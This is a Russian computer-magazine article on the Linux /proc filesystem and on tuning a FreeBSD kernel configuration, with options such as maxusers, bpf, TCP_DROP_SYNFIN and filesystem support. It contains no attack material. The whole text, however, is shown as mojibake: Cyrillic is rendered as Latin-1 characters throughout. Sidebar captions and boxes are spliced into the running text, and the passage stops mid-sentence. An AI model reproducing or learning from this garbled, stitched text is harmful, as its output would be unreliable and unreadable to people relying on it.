È ïîñëåäíèé ýëåìåíò êàòàëîãà /proc, êîòîðûé ÿ õî÷ó ðàññìîòðåòü â ýòîì
ðàçäåëå: /proc/driver. Îáû÷íî äðàéâåðû ñòîðîííèõ ïðîèçâîäèòåëåé ñîç-
äàþò â íåì ñâîé óãîëîê. Íàïîëíåíèå ýòîãî êàòàëîãà ñèëüíî çàâèñèò îò
êîíôèãóðàöèè ÿäðà, ïîýòîìó ÿ îïèøó åãî íà ïðèìåðå ñâîåé ìàøèíû. Ó
ìåíÿ çäåñü íàõîäèòñÿ ôàéë rtc, îòîáðàæàþùèé ñòàòèñòèêó ðàáîòû îä-
íîèìåííîãî äðàéâåðà (Real Time Clock � ×àñû Ðåàëüíîãî Âðåìåíè), à
òàêæå êàòàëîã nvidia, ñîçäàííûé ôèðìåííûì äðàéâåðîì äëÿ âèäåîêàðò
êîìïàíèè nVidia.

[èäåíòèôèêàöèÿ] ×òî æå â ïåðâóþ î÷åðåäü íóæíî óçíàòü îá ÎÑ? �
«Êîíå÷íî æå, âåðñèþ,»� îòâå÷àþò âñå äðóæíî. Ïðàâèëüíî, èíôîðìà-
öèÿ î âåðñèè è âðåìåíè ñáîðêè ÿäðà ïðåäñòàâëåíà â /proc/version ïðè-
ìåðíî òàêîé ñòðîêîé:

Core-ôàéë � ýòî ôàéë,
ãåíåðèðóåìûé ÿäðîì â
ìîìåíò «îáðóøåíèÿ»
ïðîãðàììû (ñèãíàëû QU-
IT, ABRT, SEGV è äð.). Îí
ñîäåðæèò äàìï ïàìÿòè
ïðîöåññà è ïðåäíàçíà÷åí
äëÿ âûÿâëåíèÿ ïðè÷èí
ïðîèçîøåäøåãî.

Øóòëèâîå îïðåäåëåíèå 
BogoMIPS: «Ñêîëüêî ðàç 
â ñåêóíäó ïðîöåññîð ìî-
æåò íè÷åãî íå äåëàòü».
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Õî÷åøü âûÿñíèòü, ñ êàêèìè ïàðàìåòðàìè áûëî çàãðóæåíî ÿäðî? Çàãëÿ-
íè â ôàéë /proc/cmdline.
Ñïèñîê çàãðóæåííûõ â òåêóùèé ìîìåíò ìîäóëåé ñîäåðæèòñÿ â ôàé-
ëå /proc/modules. Ôîðìàò åãî òàêîé: èìÿ_ìîäóëÿ ðàçìåð êîëè÷å-
ñòâî_çàâèñèìîñòåé � Live àäðåñ_â_ïàìÿòè. Êîëè÷åñòâî çàâèñèìî-
ñòåé � ýòî ÷èñëî, óêàçûâàþùåå íà òî, ñêîëüêî äðóãèõ ìîäóëåé çà-
âèñèò îò äàííîãî ìîäóëÿ. Êîìàíäà lsmod îáðàùàåòñÿ çà èíôîðìàöè-
åé èìåííî ê /proc/modules.
Âñå ïîääåðæèâàåìûå ÿäðîì ôàéëîâûå ñèñòåìû ïåðå÷èñëåíû â ôàéëå
/proc/filesystems. Ýòîò ñïèñîê, êñòàòè ãîâîðÿ, ìîæåò îêàçàòüñÿ íåñêîëüêî
äëèííåå, ÷åì òû äóìàåøü ;). Ó ìåíÿ, íàïðèìåð, â ñïèñêå ïðèñóòñòâóþò
bdev, sockfs, pipefs, eventpollfs. Âñå îíè íóæíû äëÿ ïðàâèëüíîãî ôóíêöè-
îíèðîâàíèÿ ÿäðà. Êàêèå èç ýòèõ ÔÑ ñìîíòèðîâàíû â òåêóùèé ìîìåíò,
ïîäñêàæåò ôàéë /proc/mounts, ôîðìàò êîòîðîãî èäåíòè÷åí êîíôèãó
/etc/fstab. Èíôîðìàöèÿ î ñìîíòèðîâàííûõ swap-îáëàñòÿõ äîñòóïíà â
/proc/swaps.

Ïîìèìî âûøåïåðå÷èñëåííûõ ôàéëîâ, ñóùåñòâóåò åùå êàòàëîã /proc/fs,
â êîòîðûé, ïî çàäóìêå ðàçðàáîò÷èêîâ Linux, äîëæíû ïîìåùàòü âñåâîç-
ìîæíóþ èíôîðìàöèþ äðàéâåðà ôàéëîâûõ ñèñòåì. Â ðåàëüíîé æèçíè
çäåñü ìîæíî íàéòè òîëüêî èíôîðìàöèþ ïî äðàéâåðó NFS, ôàéëîâîé ñè-
ñòåìå reiserfs è, åñëè íàëîæåí ñîîòâåòñòâóþùèé ïàò÷, ïî supermount.
Îáðàòè âíèìàíèå: åñëè òû õî÷åøü ïîëó÷àòü ñòàòèñòèêó î reiserfs, òåáå
ïðèäåòñÿ âêëþ÷èòü â ÿäðå îïöèþ File systems !Stats in /proc/fs/reiserfs.

[ñåòü] Âñÿ ñåòåâàÿ ñòàòèñòèêà õðàíèòñÿ â ôàéëàõ, ðàñïîëîæåííûõ â êà-
òàëîãå /proc/net. Òåêóùèå ïîäêëþ÷åíèÿ ïåðå÷èñëåíû â ôàéëàõ tcp, udp è
unix. Ïî ñóòè, îíè ïðåäîñòàâëÿþò òó æå èíôîðìàöèþ, ÷òî è netstat, íî â
ôîðìàòå òàáëèöû ñîêåòîâ ÿäðà. Ýòî çíà÷èò, ÷òî âñå äàííûå ïðåäñòàâëå-
íû â øåñòíàäöàòèðè÷íîì ôîðìàòå (âêëþ÷àÿ IP-àäðåñà è ïîðòû), à ñî-
ñòîÿíèå ñîåäèíåíèé èäåíòèôèöèðóåòñÿ ÷èñëîì. Òàáëèöà «ñûðûõ» ñîêå-
òîâ íàõîäèòñÿ â ôàéëå raw. Äàìï òàáëèöû ìàðøðóòèçàöèè ìîæíî íàéòè
â ôàéëå route. Ïðèÿòíàÿ äëÿ ãëàç îáû÷íîãî ÷åëîâåêà, èíôà íàõîäèòñÿ
òîëüêî â äâóõ ôàéëàõ: arp è dev. Ïåðâûé � ýòî ARP-òàáëèöà (òàáëèöà
ñîîòâåòñòâèé IP è MAC-àäðåñîâ), à âòîðîé ñîäåðæèò ñòàòèñòèêó ïî ñåòå-
âûì óñòðîéñòâàì. Ôàéë dev ïðåäñòàâëÿåò ñîáîé òàáëèöó èç òðåõ ñåêöèé:
ñåòåâîé èíòåðôåéñ, ñòàòèñòèêà ïðèíÿòûõ è ïåðåäàííûõ äàííûõ. Âòîðàÿ
è òðåòüÿ ñåêöèÿ èìåþò îäèíàêîâûé ôîðìàò è ñîäåðæàò òàêèå êîëîíêè:
bytes � îáùåå êîëè÷åñòâî ïåðåäàííîé/ïðèíÿòîé èíôîðìàöèè, packets �
÷èñëî ïðèøåäøèõ/óøåäøèõ ïàêåòîâ, errs � ÷èñëî ïàêåòîâ ñ íåïðàâèëü-
íûìè çàãîëîâêàìè, drop � ÷èñëî îòáðîøåííûõ (íàïðèìåð, áðýíäìàó-
ýðîì) ïàêåòîâ, multicast � ÷èñëî øèðîêîâåùàòåëüíûõ ïàêåòîâ. Âñÿ ýòà
èíôîðìàöèÿ èñïîëüçóåòñÿ óòèëèòîé ifconfig äëÿ âûâîäà îò÷åòà.

[ÿäåðíàÿ áóõãàëòåðèÿ] Ãëàâíûì ìåñòîì ñêîïëåíèÿ ñòàòèñòè÷åñêîé
èíôîðìàöèè î ÿäðå ÿâëÿåòñÿ ôàéë /proc/stat. Ïåðâàÿ ñòðîêà, îçàãëàâ-
ëåííàÿ cpu, îòîáðàæàåò äàííûå î òîì, ñêîëüêî ïðîöåññîð òðàòèò âðåìå-
íè íà âûïîëíåíèå êîäà ïîëüçîâàòåëüñêèõ ïðîãðàìì (ïåðâîå ÷èñëî), êî-
äà ÿäðà (òðåòüå ÷èñëî), âðåìÿ «ñïÿ÷êè» ïðîöåññîðà (÷åòâåðòîå ÷èñëî),
ñêîëüêî âðåìåíè æäåò âûïîëíåíèÿ îïåðàöèé ââîäà/âûâîäà (ïÿòîå ÷è-
ñëî), è ñêîëüêî âðåìåíè óõîäèò íà îáðàáîòêó ïðåðûâàíèé (øåñòîå ÷è-
ñëî). Îñòàëüíûå êîëîíêè íå ñòîëü èíòåðåñíû. Äàííûå ïðåäñòàâëåíû â
ñîòûõ äîëÿõ ñåêóíäû. Õî÷ó îòìåòèòü, ÷òî â íîðìàëüíî ôóíêöèîíèðóþ-
ùåé ñèñòåìå âðåìÿ áåçäåéñòâèÿ ïðîöåññîðà áóäåò â íåñêîëüêî ðàç
áîëüøå âðåìåíè åãî ðàáîòû. Îñòàëüíûå ñòðîêè íå ñòîëü èíòåðåñíû, íî
ÿ âñå æå ïðîêîììåíòèðóþ íåêîòîðûå èç íèõ. Btime � âðåìÿ çàãðóçêè ñè-
ñòåìû, óêàçàííîå â ñåêóíäàõ, ïðîøåäøèõ ñ 1 ÿíâàðÿ 1970 ã. Processes
� îáùåå êîëè÷åñòâî ïîðîæäåííûõ ñ ìîìåíòà çàãðóçêè ïðîöåññîâ.
Òàêóþ âàæíóþ äëÿ ìíîãèõ èíôîðìàöèþ, êàê ñðåäíÿÿ çàãðóæåííîñòü
ïðîöåññîðà, ìîæíî óçíàòü èç ôàéëà /proc/loadavg. Ìíîãèõ íîâè÷êîâ
åãî ñîäåðæèìîå ââîäèò â ñòóïîð. Íà ñàìîì äåëå, âñå ïðîñòî, õîòÿ è
íå ïðèâû÷íî. Òðè ÷èñëà ïðåäñòàâëÿþò êîëè÷åñòâî çàäàíèé (ïðîöåñ-
ñîâ), æäóùèõ ñâîåãî âûïîëíåíèÿ çà ïîñëåäíèå 1, 5 è 15 ìèíóò. Òàêèì
îáðàçîì, åñëè â ñðåäíåì çà ìèíóòó îæèäàëî èñïîëíåíèÿ ìåíåå îäíî-
ãî çàäàíèÿ, òî çàãðóæåííîñòü ñîñòàâëÿåò îêîëî 5�10%, 2�3 çàäàíèÿ
� óæå îêîëî 80-90%, 4�5 çàäàíèé � 100% çàãðóçêà. Ìíîãèå ïðî-
ãðàììû, ïîäñ÷èòûâàþùèå çàãðóçêó ïðîöåññîðà â ïðîöåíòàõ, ïîëó÷à-
þò äàííûå èç ýòîãî ôàéëà.
Âðåìÿ, ïðîøåäøåå ñ ìîìåíòà çàãðóçêè, íàõîäèòñÿ â /proc/uptime.
Ôàéë ñîäåðæèò äâà ÷èñëà: îáùåå âðåìÿ è âðåìÿ ïðîñòîÿ ïðîöåññî-
ðà. Îòñ÷åò âåäåòñÿ â ñåêóíäàõ. Ó ìåíÿ âòîðîå ÷èñëî âñåãî íà ñòî
ìåíüøå ïåðâîãî :).
[÷òî îñòàëîñü çà êàäðîì] À çà êàäðîì ó íàñ ñåãîäíÿ îñòàëñÿ ïñåâ-
äîôàéë /proc/kcore. Îí îòîáðàæàåò âñþ ôèçè÷åñêóþ ïàìÿòü ñèñòåìû 
â ôîðìàòå core, è ïîýòîìó ïîçâîëÿåò àíàëèçèðîâàòü âíóòðåííèå ñòðóê-
òóðû ÿäðà â ðåàëüíîì âðåìåíè. Äëÿ òîãî, ÷òîáû âîñïîëüçîâàòüñÿ ýòîé
âîçìîæíîñòüþ, òåáå íåîáõîäèìî çàãðóçèòü ÿäðî, ñîäåðæàùåå îòëàäî÷-
íóþ èíôîðìàöèþ (îíî ïîìåùàåòñÿ â êîðåíü èñõîäíèêîâ ïîñëå ñáîðêè:
/usr/src/vmlinux) è âûïîëíèòü îò ðóòà êîìàíäó:

$ gdb --core=/proc/kcore

Çàìå÷ó, ÷òî ýòîò ôàéë íå áóäåò ñóùåñòâîâàòü, åñëè â ÿäðå îòêëþ÷åíà
îïöèÿ File systems !Pseudo filesystems ! /proc/kcore support.
Òàêæå â ýòîé ñòàòüå ÿ óïóñòèë èç âèäà òþíèíã ÿäðà ïîñðåäñòâîì
/proc/sys (èëè sysctl) � ýòî òåìà îòäåëüíîé ñòàòüè

ôàéë maps ïðîöåññà mc

âñå ìîäóëè êàê íà ëàäîíè

ñîáèðàåì ñòàòèñòèêó

ÎÑÍÎÂÍÛÅ ÑÑÎÑÒÎßÍÈß ÑÑÍÀ AACPI
S1 � ìèíèìàëüíîå ñîõðàíåíèå ýíåðãèè. Áûñòðîå ïðîáóæäåíèå.
S3 � âñå óñòðîéñòâà, êðîìå îïåðàòèâíîé ïàìÿòè, ïåðåâîäÿòñÿ â ðåæèì ïîíèæåííîãî ïèòàíèÿ.
S4 � ñîäåðæèìîå îïåðàòèâíîé ïàìÿòè ñîõðàíÿåòñÿ â swap. Ïîñëå ýòîãî ïðîèñõîäèò âûêëþ÷åíèå ÏÊ. Ïðè ñëåäóþùåé
çàãðóçêå ÿäðî ïåðåíîñèò èíôîðìàöèþ èç swap îáðàòíî â îïåðàòèâêó.
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Òîíêàÿ íàñòðîéêà 
è îïòèìèçàöèÿ FreeBSD
[ÿäðî � âñåìó ãîëîâà] ßäðî ÿâëÿåòñÿ ìîçãîâûì öåíòðîì îïåðàöèîí-
íîé ñèñòåìû, ðåàëèçóþùèì âñå è âñÿ: âèðòóàëüíóþ ïàìÿòü, ïðîöåññû,
ñèãíàëû, ñåìàôîðû, êàíàëû, ñåòåâûå ñîåäèíåíèÿ, ôàéëîâûå ñèñòåìû, è,
êîíå÷íî æå, ìíîæåñòâî äðàéâåðîâ óñòðîéñòâ. Ðàçðàáîò÷èêè âêëþ÷àþò
ïîääåðæêó êàê ìîæíî áîëüøåãî êîëè÷åñòâà óñòðîéñòâ, ÷òîáû àäàïòèðî-
âàòü ðàáîòó îïåðàöèîíêè ê ëþáîé àïïàðàòíîé ñðåäå. Íàì òàêîé âàðèàíò,
åñòåñòâåííî, íå ïîäõîäèò: ìû èñêëþ÷èì èç ÿäðà ïîääåðæêó âñåõ íåíóæ-
íûõ íàì îïöèé, ìîäóëåé è äðàéâåðîâ, ÷òî ïîçâîëèò íàì óìåíüøèòü ðàç-
ìåð ÿäðà, è, ñîîòâåòñòâåííî, îáúåì çàíèìàåìîé èì ïàìÿòè. Êðîìå òîãî,
â óìîë÷àëüíîì ÿäðå ìîæåò îòñóòñòâîâàòü ïîääåðæêà íåîáõîäèìûõ òåáå
óñòðîéñòâ/ïðîòîêîëîâ, ïîýòîìó áåç ïåðåêîìïèëÿöèè çäåñü íå îáîéòèñü.

[êîíôèãóðèðîâàíèå è ïåðåêîìïèëÿöèÿ ÿäðà] ßäðî ñîáèðàåòñÿ
èç èñõîäíèêîâ, êîòîðûå ðàñïîëîæåíû â êàòàëîãå /usr/src/sys (åñëè ñûð-
öû îòñóòñòâóþò, âîñïîëüçóéñÿ äèñòðèáóòèâíûì êîìïàêòîì è óòèëèòîé
sysinstall, ëèáî ïîëó÷è íóæíóþ âåðñèþ ñ ïîìîùüþ cvs/cvsup). Òåïåðü ïå-
ðåõîäèì â êàòàëîã ñ øàáëîíàìè è äåëàåì êîïèþ ôàéëà äåôîëòíîé êîí-
ôèãóðàöèè:

# cd /usr/src/sys/`arch -s`/conf
# cp GENERIC MYKERNEL

Ðàçîáðàòü âñå îïöèè â îäíîé ñòàòüå íå ïðåäñòàâëÿåòñÿ âîçìîæíûì, ïî-
ýòîìó ïîãîâîðèì î ñàìûõ èíòåðåñíûõ èç íèõ. Ôàéë êîíôèãóðàöèè ÿäðà
óñëîâíî ðàçáèò íà áëîêè, ïîýòîìó è ðàçáèðàòü îïöèè áóäåì ïîáëî÷íî.

machine i386
cpu I386_CPU
cpu I486_CPU
cpu I586_CPU
cpu I686_CPU
ident GENERIC
maxusers32

Ïåðâàÿ ñòðîêà ñîîáùàåò îá àðõèòåêòóðå èñïîëüçóåìîé ìàøèíû. Ñëåäóþ-
ùèå ÷åòûðå ïîçâîëÿþò âûáðàòü êîíêðåòíûé òèï ïðîöåññîðà. Îñòàâëÿåì
òîëüêî ñòðîêó ñ íàøèì òèïîì ïðîöà (I686_CPU - Pentium Pro è âûøå). Âñå
îñòàëüíûå êîììåíòèðóåì, ëèáî óäàëÿåì. Çíà÷åíèå ïàðàìåòðà ident çàäà-
åò ìåòêó íîâîãî ÿäðà (ident è èìÿ êîíôèãà äîëæíû áûòü îäèíàêîâûìè).
Îñîáûé èíòåðåñ ïðåäñòàâëÿåò êëþ÷åâîå ñëîâî maxusers. Ñóäÿ ïî íàçâà-
íèþ, ìîæíî ñ óâåðåííîñòüþ ïðåäïîëîæèòü, ÷òî ýòîò ïàðàìåòð îãðàíè÷è-
âàåò ìàêñèìàëüíîå ÷èñëî ïîëüçîâàòåëåé, îäíàêî ñ åãî ïîìîùüþ çàäà-
þòñÿ ðàçìåðû íåêîòîðûõ âíóòðåííèõ òàáëèö ÿäðà: ïðåäåëüíîå ÷èñëî
îòêðûòûõ ôàéëîâ è çàïóùåííûõ ïðîöåññîâ, ñåòåâûõ áóôåðîâ è ò.ä. (õî-
òÿ ýòî, êîíå÷íî, êîñâåííî âëèÿåò íà ÷èñëî ïîëüçîâàòåëåé â ñèñòåìå).
Èçìåíÿòü ýòó îïöèþ íóæíî òîëüêî â ñëó÷àå ïåðåïîëíåíèÿ òàáëèöû ÿäðà,
ëèáî ñ÷àñòëèâûì îáëàäàòåëÿì çàãðóæåííîãî ñåðâåðà. Êîëè÷åñòâî ôàé-
ëîâûõ äåñêðèïòîðîâ, êîòîðûå áóäóò äîñòóïíû ïîñëå êàñòîìèçàöèè ýòî-
ãî ïàðàìåòðà, ìîæíî âû÷èñëèòü ïî ôîðìóëå (20 + 16 * maxusers). Åñëè
ñèãíàëà î ïåðåïîëíåíèè íåò, maxusers ëó÷øå íå èçìåíÿòü (à íà ìåäëåí-
íûõ ìàøèíàõ ìîæíî ïîïðîáîâàòü äàæå óìåíüøèòü, ÷òîáû âûñâîáîäèòü
íåêîòîðîå êîëè÷åñòâî ïàìÿòè). Òàêæå ìîæíî âûñòàâèòü maxusers â 0,
òîãäà ñèñòåìà àâòîìàòè÷åñêè ïîäáåðåò òðåáóåìîå çíà÷åíèå.
Äèðåêòèâà makeoptions DEBUG=-g ïîçâîëÿåò ïðè êîìïèëÿöèè âêëþ÷àòü
â ÿäðî îòëàäî÷íóþ èíôîðìàöèþ. Îïöèÿ îòíîñèòñÿ ê ðàçðÿäó êðàéíå íå-
æåëàòåëüíûõ, òàê êàê óâåëè÷èâàåò ðàçìåð è íåñêîëüêî ñíèæàåò áûñòðî-
äåéñòâèå ÿäðà. Õîòÿ òàêàÿ çàïèñü ÷ðåçâû÷àéíî ïîëåçíà äëÿ êåðíåë õà-
êåðîâ ïðè ðàçáîðå äàìïîâ ÿäðà.
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öèÿìè ôëàãîâ (â ïðèíöèïå, íà ñåðâåðå ýòî äåëàòü íå ðåêîìåíäóåòñÿ, òàê
êàê òåðÿåòñÿ âîçìîæíîñòü èñïîëüçîâàíèÿ ðàñøèðåíèÿ RFC 1644, à äëÿ
äåñêòîïà ýòî íå êðèòè÷íî); òðåòèé � ãåíåðèðóåì ñëó÷àéíîå çíà÷åíèå â
ïîëå ID IP-ïàêåòà âìåñòî òîãî, ÷òîáû êàæäûé ðàç óâåëè÷èâàòü åãî íà
åäèíèöó (ïðåïÿòñòâóåò idle-ñêàíèðîâàíèþ); ÷åòâåðòûé � áëîêèðóåì ïà-
êåòû c óñòàíîâëåííûì ôëàãîì RST (çàùèùàåò îò íåêîòîðûõ òèïîâ
DOS-àòàê). Ñ ïîìîùüþ sysctl ìîæíî ïðîèçâåñòè áîëåå òîíêóþ íàñòðîé-
êó ñåòåâîé çàùèòû, íî îá ýòîì ïîçäíåå. Áóäü âíèìàòåëåí � âî FeeBSD
5-STABLE è âûøå âñå ýòè îïöèè âûíåñåíû â ñîîòâåòñòâóþùèå sysctl-ïå-
ðåìåííûå, è â âèäå îïöèé ÿäðà ñîáèðàòüñÿ óæå íå ìîãóò.
Äàëåå èäóò íåñêîëüêî äèðåêòèâ, ñâÿçàííûõ ñ êîìïèëÿöèåé ìíîãîïðî-
öåññîðíîãî ÿäðà (òàêæå äëÿ ñåðâåðîâ), èìÿ ãëàâíîé èç êîòîðûõ � SMP.
Îñòàâøóþñÿ ÷àñòü ôàéëà çàíèìàåò îáøèðíûé ñïèñîê äåâàéñîâ. Ïðèí-
öèï åãî ðåäàêòèðîâàíèÿ ïðîñò: âñå ñòðîêè, îòíîñÿùèåñÿ ê íåíóæíûì òå-
áå óñòðîéñòâàì, ìîãóò áûòü áåçáîÿçíåííî çàêîììåíòèðîâàíû/óäàëåíû.
Îäíàêî åñòü íåêîòîðûå èñêëþ÷åíèÿ: íàïðèìåð, íåëüçÿ óäàëÿòü ñòðîêó
device isa, äàæå åñëè ó òåáÿ íà êîìïüþòåðå íåò íè îäíîãî ISA-ñëîòà, à
òàêæå óäàëÿòü ïîääåðæêó SCSI, åñëè åñòü IDE CDROM èëè USB-ôëåøêà.

options DDB
options XSERVER
device bpf

Ïåðâàÿ îïöèÿ � ýòî âêëþ÷åíèå ÿäåðíîãî îòëàä÷èêà (íå íóæåí), âòîðàÿ
âêëþ÷àåò X-ñåðâåð íà vt-êîíñîëè (vt0) (ñîìíèòåëüíî), à òðåòüÿ � ïñåâ-
äîóñòðîéñòâî áåðêëååâñêîãî ïàêåòíîãî ôèëüòðà (íåîáõîäèì íà ñåðâå-
ðàõ äëÿ ðàáîòû ïàêåòíûõ ôèëüòðîâ, IDS, èëè â ñëó÷àå, êîãäà òû ñàì àê-
òèâíî ìîíèòîðèøü/ñíèôàåøü ñåòü).
Äàëåå ïðèâåäó íåñêîëüêî èíòåðåñíûõ îïöèé èç êîíôèãóðàöèîííîãî
ôàéëà LINT.

options "CHILD_MAX=40"

Ýòîò ïàðàìåòð óêàçûâàåò ìàêñèìàëüíîå êîëè÷åñòâî ïîðîæäåííûõ ïðî-
öåññîâ, êîòîðûå ìîãóò áûòü ñîçäàíû ðîäèòåëüñêèì. Â íåêîòîðûõ ñëó÷à-
ÿõ ìîæåò ïîòðåáîâàòüñÿ óâåëè÷èòü ýòîò ïàðàìåòð.

options "OPEN_MAX=64"

Ìàêñèìàëüíîå êîëè÷åñòâî ôàéëîâ, êîòîðûå ìîãóò áûòü îòêðûòû ïðî-
öåññîì. Ëó÷øå ñðàçó óâåëè÷èòü çíà÷åíèå ïàðàìåòðà äî 128, äàæå íà
äåñêòîïå.

options FAILSAFE

Äàííàÿ îïöèÿ ïîâûøàåò íàäåæíîñòü ñèñòåìû, òàê êàê çàïóñêàåò äîïîë-
íèòåëüíûå ïðîâåðêè â íàèáîëåå îïàñíûõ ìåñòàõ (÷òî, ê ñîæàëåíèþ, ñêà-
çûâàåòñÿ íà áûñòðîäåéñòâèè).

options INCLUDE_CONFIG_FILE

Óêàçàííàÿ îïöèÿ ïîëåçíà, åñëè òû âäðóã ïîòåðÿåøü êîíôèã. Îíà âêëþ-
÷àåò òåêóùèé ôàéë êîíôèãóðàöèè ÿäðà â ôàéë kernel, îòêóäà òû ñìî-
æåøü åãî ïîòîì ïðè íåîáõîäèìîñòè âûöåïèòü. Äîâîëüíî ñîìíèòåëüíàÿ
îïöèÿ, êîòîðàÿ ê òîìó æå çàíèìàåò ïàìÿòü.
Ñëåäóþùàÿ ñòðî÷êà ñîîáùàåò, ÷òî ÿäðî íîñèò èìÿ kernel, çàãðóçêà áó-
äåò ïðîõîäèòü ñ ad0, äàìïû áóäóò ñêèäûâàòüñÿ íà ýòî æå óñòðîéñòâî. Åñ-
ëè òû âëàäåëåö SCSI-äåâàéñà, òî ïîìåíÿé íà da0.

config kernel root on ad0 dumps on ad0

Ðàçìåð ïàìÿòè, âûäåëåííûé ÿäðó (ðåêîìåíäóåòñÿ óìåíüøèòü):

options "MAXMEM=(512*1024)"

À äàëüøå êîìïëåêò ñâÿçàííûõ ïàðàìåòðîâ:

options USERCONFIG
options USERCONFIG_BOOT
options VISUAL_USERCONFIG

Ïðè íàëè÷èè ïåðâîé îïöèè â ÿäðî áóäåò âêëþ÷åí ðåäàêòîð óñòàíîâîê ÿä-
ðà, êîòîðûé òû ñìîæåøü âûçâàòü âî âðåìÿ çàïóñêà, ââåäÿ -c â îòâåò íà
ïðèãëàøåíèå 'boot'. Ñî âòîðîé îïöèåé äàííûé ðåäàêòîð çàïóñêàåòñÿ àâ-
òîìàòè÷åñêè, à òðåòüÿ ïðåäîñòàâëÿåò áîëåå óäîáíûé âèçóàëüíûé âàðè-
àíò âñå òîãî æå ýäèòîðà.
Òåïåðü íóæíî íåìíîãî ðàçîáðàòüñÿ ñ ïñåâäîóñòðîéñòâàìè:

options GPL_MATH_EMULATE
options MATH_EMULATE

Ïåðå÷èñëåííûå îïöèè çàïóñêàþò ýìóëÿöèþ ìàòåìàòè÷åñêîãî ñîïðîöåñ-
ñîðà (íóæíû òîëüêî, åñëè ó òåáÿ 80486SX è íèæå).
Ïåðâûé ïàðàìåòð ÿâëÿåòñÿ îáÿçàòåëüíûì (BSD è áåç ñåòè?), à âîò ïîä-
äåðæêó ïðîòîêîëà IPV6 ìîæíî óáðàòü:

options INET
options INET6

Ïåðåéäåì ê ôàéëîâûì ñèñòåìàì:

options FFS
options UFS_DIRHASH
options SOFTUPDATES

Ïåðâàÿ ñòðîêà � ôàéëîâàÿ ñèñòåìà ôðÿõè, áåç ïîääåðæêè êîòîðîé ðà-
áîòàòü êðàéíå çàòðóäíèòåëüíî. Ñëåäóþùàÿ ñòðîêà âêëþ÷àåò ôóíêöèî-
íàëüíîñòü, ïîâûøàþùóþ ñêîðîñòü ðàáîòû ñ áîëüøèìè êàòàëîãàìè (òðå-
áóÿ ïðè ýòîì äîïîëíèòåëüíîå êîëè÷åñòâî îïåðàòèâíîé ïàìÿòè). Òðåòèé
ïàðàìåòð âêëþ÷àåò â ñîñòàâ ÿäðà ìåõàíèçì SoftUpdates, ïîçâîëÿþùèé
ñóùåñòâåííî óâåëè÷èòü ñêîðîñòü çàïèñè íà äèñê. Îäíîãî íàëè÷èÿ ýòîé
îïöèè â ÿäðå íåäîñòàòî÷íî, òàêæå íåîáõîäèìî îáåñïå÷èòü ïîääåðæêó
SoftUpdates äëÿ êîíêðåòíûõ äèñêîâ (ñìîòðè âûâîä êîìàíäû mount). Äëÿ
íîâûõ ôàéëîâûõ ñèñòåì ýòî äåëàåòñÿ êîìàíäîé newfs -U /dev/ad#s#, à
äëÿ óæå ñóùåñòâóþùèõ � umount -Af /; tunefs -n enable /dev/ad#s#. Òå-
ïåðü î «íåðîäíûõ» ôàéëîâûõ ñèñòåìàõ:

options EXT2FS
options MFS
options MD_ROOT
options NFS
options NFS_ROOT
options MSDOSFS
options CD9660
options CD9660_ROOT
options PROCFS

Ýòè çàïèñè îçíà÷àþò ïîääåðæêó ñîîòâåòñòâóþùèõ ôàéëîâûõ ñèñòåì
(ext2/ext3, memory disks, nfs, fat16/fat32, iso9660, proc), à òàêæå âîçìîæ-
íîñòü çàãðóæàòüñÿ ñ ðàçäåëîâ ñ òàêèìè ÔÑ. Àêòóàëüíîñòü ýòèõ îïöèé îñ-
òàâëÿþ íà òâîå óñìîòðåíèå.
Çäåñü ñòîèò îòìåòèòü, ÷òî â ñëó÷àå FreeBSD 5.x è âûøå, ïðàêòè÷åñêè
ëþáàÿ ôóíêöèîíàëüíîñòü ÿäðà ðåàëèçóåòñÿ ñîîòâåòñòâóþùèì ìîäóëåì
èç êàòàëîãà /boot/kernel, òàê ÷òî ìîæíî ìíîãîå èç ÿäðà óáðàòü, à çàòåì
ïîäãðóæàòü ìîäóëè ïî ìåðå íåîáõîäèìîñòè, ëèáî ïðè çàãðóçêå ñèñòåìû
èç /boot/loader.conf.

options COMPAT_43 // Ñîâìåñòèìîñòü ñ 4.3BSD (îáÿçàòåëüíî)
options COMPAT_FREEBSD4 // Ñîâìåñòèìîñòü ñ ÷åòâåðòîé FreeBSD
(âåñüìà æåëàòåëüíî)
options SCSI_DELAY=15000 // Çàäåðæêà ïåðåä îïðåäåëåíèåì SCSI-
óñòðîéñòâ (â ìèëëèñåêóíäàõ)
options KTRACE // Ïîääåðæêà ktrace
options SYSVSHM
options SYSVMSG
options SYSVSEM

Ïàðàìåòðû, íà÷èíàþùèåñÿ ñ SYSV, îçíà÷àþò ïîääåðæêó ðàçäåëÿåìîé
ïàìÿòè, ñåìàôîðîâ è ñîîáùåíèé â ñòèëå System V. Ýòî íóæíî ëèøü îã-
ðàíè÷åííîìó ÷èñëó ïðîãðàìì, òàê ÷òî, â ïðèíöèïå, ìîæíî îáîéòèñü è
áåç ýòèõ îïöèé. Îäíàêî íå çàáóäü ïðåäâàðèòåëüíî ñâåðèòüñÿ ñ äîêóìåí-
òàöèåé ïî ýòèì ñàìûì ïðîãðàììàì (íàïðèìåð, X-ñåðâåð Xorg òðåáóåò
SYSV-îïöèè).
Ktrace âêëþ÷àåò ìåõàíèçì òðåéñèíãà è ëîãèðîâàíèÿ ïðîöåññîâ ÿäðîì.
Âûõîäíîé ôàéë ëîãèðîâàíèÿ � ktrace.out (ðåàëüíî íóæåí òîëüêî õàêå-
ðàì è ïðîãðàììèñòàì).
À òåïåðü ïîãîâîðèì î ïàðàìåòðàõ, àêòóàëüíûõ äëÿ ñåðâåðà:

options ICMP_BANDLIM
options TCP_DROP_SYNFIN
options RANDOM_IP_ID
options TCP_RESTRICT_RST

ICMP_BANDLIM ïîçâîëÿåò îãðàíè÷èòü ÷èñëî ICMP-îòâåòîâ. Âòîðîé ïà-
ðàìåòð ïðåäïèñûâàåò îòáðàñûâàòü ïàêåòû ñ íåäîïóñòèìûìè êîìáèíà- [X
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// Ïñåâäîòåðìèíàëû, èõ àêòèâíî èñïîëüçóþò òàêèå ïðîãðàììû, êàê
telnet, rlogin, ssh, xterm
pseudo-device pty

// Ïðîèãðûâàíèå ìóçûêè íà ñïèêåðå êîìïà. Ïðèìåðû òàêèõ ìåëîäèé
åñòü â /usr/sbin/spkrtest
pseudo-device speaker

// Ðàñïàêîâûâàåì ñæàòûå èñïîëíÿåìûå ôàéëû «íà ëåòó»
pseudo-device gzip

// Ïðåâðàùàåò ôàéë â óñòðîéñòâî (vnode-äðàéâåð). Ñ åãî ïîìîùüþ
ìîæíî, íàïðèìåð, ïðîñìîòðåòü îáðàç äèñêåòû, êàê îáû÷íóþ äèñêåòó,
